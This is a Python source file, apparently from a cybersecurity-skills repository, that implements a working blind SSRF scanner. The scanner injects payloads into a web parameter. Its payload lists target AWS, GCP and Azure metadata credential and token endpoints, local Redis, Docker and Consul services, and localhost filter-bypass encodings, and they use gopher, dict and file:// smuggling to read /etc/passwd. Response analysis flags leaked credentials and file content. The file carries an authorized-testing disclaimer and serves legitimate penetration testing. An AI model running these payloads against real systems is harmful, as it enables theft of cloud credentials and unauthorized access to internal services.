Files
Anthropic-Cybersecurity-Skills/skills/performing-blind-ssrf-exploitation/scripts/agent.py
T
mukul975 c47eed6a64 Production hardening: security fixes, code quality, 724 skills complete
- Fix 25 shell=True subprocess calls with list-based commands
- Fix 49 verify=False in defensive skills (env-var override)
- Add timeout to 231 HTTP/subprocess/socket calls
- Fix 6 SQL injection patterns with whitelist validation
- Replace 8 __import__() with standard imports
- Remove 701 unused imports across 442 files
- Add authorized-testing disclaimers to all offensive skills
- Complete 11 incomplete skill directories
- Expand 10 stub SKILL.md files with full content
- Fix 2 YAML parse errors in frontmatter
- Fix 5 pre-existing syntax errors
- Convert 22 hardcoded paths/ports to environment variables
- Back up 21 redundant skill pairs to .bak
- Fix 2 global declaration errors
- 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE)
- 0 compile errors across all 724 agent.py files
2026-03-19 13:26:49 +01:00

253 lines
9.3 KiB
Python

#!/usr/bin/env python3
"""Blind SSRF detection agent.
Tests web application endpoints for Server-Side Request Forgery (SSRF)
vulnerabilities by injecting payloads that trigger out-of-band callbacks.
Uses configurable payload lists targeting internal services, cloud metadata
endpoints, and external callback receivers.
AUTHORIZED TESTING ONLY: Only use against targets you have explicit
written permission to test. Unauthorized SSRF testing is illegal.
"""
import argparse
import json
import os
import sys
import time
import urllib.parse
from datetime import datetime, timezone
try:
import requests
except ImportError:
print("[!] 'requests' library required: pip install requests", file=sys.stderr)
sys.exit(1)
SSRF_PAYLOADS = {
"aws_metadata": [
"http://169.254.169.254/latest/meta-data/",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"http://169.254.169.254/latest/user-data",
],
"gcp_metadata": [
"http://metadata.google.internal/computeMetadata/v1/",
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
],
"azure_metadata": [
"http://169.254.169.254/metadata/instance?api-version=2021-02-01",
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01",
],
"internal_services": [
"http://127.0.0.1:80/",
"http://127.0.0.1:8080/",
"http://127.0.0.1:443/",
"http://127.0.0.1:3306/",
"http://127.0.0.1:6379/",
"http://127.0.0.1:9200/",
"http://localhost:8500/v1/agent/self",
"http://127.0.0.1:2375/containers/json",
],
"bypass_filters": [
"http://0x7f000001/",
"http://0177.0.0.1/",
"http://[::1]/",
"http://127.1/",
"http://127.0.0.1.nip.io/",
"http://2130706433/",
],
"protocol_smuggling": [
"gopher://127.0.0.1:6379/_INFO",
"dict://127.0.0.1:6379/INFO",
"file:///etc/passwd",
"file:///etc/hosts",
],
}
def test_ssrf_parameter(target_url, param_name, payload, method="GET",
headers=None, cookies=None, callback_url=None):
"""Test a single SSRF payload against a parameter."""
test_payload = callback_url or payload
if method.upper() == "GET":
parsed = urllib.parse.urlparse(target_url)
params = urllib.parse.parse_qs(parsed.query)
params[param_name] = [test_payload]
new_query = urllib.parse.urlencode(params, doseq=True)
test_url = urllib.parse.urlunparse(parsed._replace(query=new_query))
try:
resp = requests.get(test_url, headers=headers, cookies=cookies,
timeout=10, allow_redirects=False)
except requests.RequestException as e:
return {"payload": payload, "error": str(e), "vulnerable": False}
else:
data = {param_name: test_payload}
try:
resp = requests.post(target_url, data=data, headers=headers,
cookies=cookies, timeout=10, allow_redirects=False)
except requests.RequestException as e:
return {"payload": payload, "error": str(e), "vulnerable": False}
indicators = analyze_response(resp, payload)
return {
"payload": payload,
"status_code": resp.status_code,
"response_length": len(resp.content),
"response_time": resp.elapsed.total_seconds(),
"indicators": indicators,
"vulnerable": len(indicators) > 0,
}
def analyze_response(resp, payload):
"""Analyze HTTP response for SSRF success indicators."""
indicators = []
body = resp.text.lower()
# Cloud metadata indicators
if "169.254.169.254" in payload:
if any(kw in body for kw in ["ami-id", "instance-id", "security-credentials",
"access-key", "computemetadata", "subscriptionid"]):
indicators.append("Cloud metadata content detected in response")
# Internal service indicators
if "127.0.0.1" in payload or "localhost" in payload:
if resp.status_code == 200 and len(resp.content) > 0:
if any(kw in body for kw in ["redis_version", "elasticsearch", "docker",
"consul", "apache", "nginx", "server:"]):
indicators.append("Internal service response detected")
# File content indicators
if "file://" in payload:
if "root:" in body or "localhost" in body:
indicators.append("Local file content detected in response")
# Time-based detection
if resp.elapsed.total_seconds() > 5:
indicators.append(f"Slow response ({resp.elapsed.total_seconds():.1f}s) - possible network timeout to internal host")
# Differential response analysis
if resp.status_code in (200, 301, 302) and len(resp.content) > 100:
indicators.append(f"Non-error response with content (status: {resp.status_code}, size: {len(resp.content)})")
return indicators
def run_ssrf_scan(target_url, param_name, method="GET", categories=None,
headers=None, cookies=None, callback_url=None):
"""Run SSRF tests across payload categories."""
if categories is None:
categories = list(SSRF_PAYLOADS.keys())
results = []
total = sum(len(SSRF_PAYLOADS.get(c, [])) for c in categories)
print(f"[*] Testing {total} SSRF payloads across {len(categories)} categories")
print(f"[*] Target: {target_url} (param: {param_name}, method: {method})")
for category in categories:
payloads = SSRF_PAYLOADS.get(category, [])
print(f"\n [{category}] Testing {len(payloads)} payloads...")
for payload in payloads:
result = test_ssrf_parameter(
target_url, param_name, payload, method, headers, cookies, callback_url
)
result["category"] = category
results.append(result)
if result["vulnerable"]:
print(f" [VULN] {payload}")
for ind in result["indicators"]:
print(f" -> {ind}")
time.sleep(0.5) # Rate limiting
return results
def format_summary(results, target_url):
"""Print scan summary."""
vulnerable = [r for r in results if r.get("vulnerable")]
print(f"\n{'='*60}")
print(f" SSRF Scan Report")
print(f"{'='*60}")
print(f" Target : {target_url}")
print(f" Payloads : {len(results)}")
print(f" Vulnerable : {len(vulnerable)}")
if vulnerable:
print(f"\n Confirmed/Suspected Vulnerabilities:")
for v in vulnerable:
print(f" [{v['category']:20s}] {v['payload']}")
for ind in v.get("indicators", []):
print(f" -> {ind}")
by_category = {}
for r in vulnerable:
by_category.setdefault(r["category"], []).append(r)
if by_category:
print(f"\n Findings by Category:")
for cat, items in by_category.items():
print(f" {cat:25s}: {len(items)} finding(s)")
def main():
parser = argparse.ArgumentParser(
description="Blind SSRF detection agent (authorized testing only)"
)
parser.add_argument("--target", required=True, help="Target URL with parameter to test")
parser.add_argument("--param", required=True, help="Parameter name to inject SSRF payloads into")
parser.add_argument("--method", choices=["GET", "POST"], default="GET")
parser.add_argument("--categories", nargs="+", choices=list(SSRF_PAYLOADS.keys()),
help="SSRF payload categories to test")
parser.add_argument("--callback", help="Out-of-band callback URL (e.g., Burp Collaborator)")
parser.add_argument("--header", nargs="+", help="Custom headers (key:value)")
parser.add_argument("--cookie", help="Cookie string")
parser.add_argument("--output", "-o", help="Output JSON report path")
parser.add_argument("--verbose", "-v", action="store_true")
args = parser.parse_args()
headers = {}
if args.header:
for h in args.header:
k, v = h.split(":", 1)
headers[k.strip()] = v.strip()
cookies = {}
if args.cookie:
for pair in args.cookie.split(";"):
if "=" in pair:
k, v = pair.strip().split("=", 1)
cookies[k] = v
results = run_ssrf_scan(
args.target, args.param, args.method, args.categories,
headers or None, cookies or None, args.callback
)
format_summary(results, args.target)
vulnerable = [r for r in results if r.get("vulnerable")]
report = {
"timestamp": datetime.now(timezone.utc).isoformat(),
"tool": "SSRF Scanner",
"target": args.target,
"parameter": args.param,
"total_payloads": len(results),
"vulnerable_count": len(vulnerable),
"findings": vulnerable,
"all_results": results if args.verbose else [],
"risk_level": (
"CRITICAL" if any(r["category"] in ("aws_metadata", "gcp_metadata", "azure_metadata")
for r in vulnerable)
else "HIGH" if vulnerable
else "LOW"
),
}
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"\n[+] Report saved to {args.output}")
elif args.verbose:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()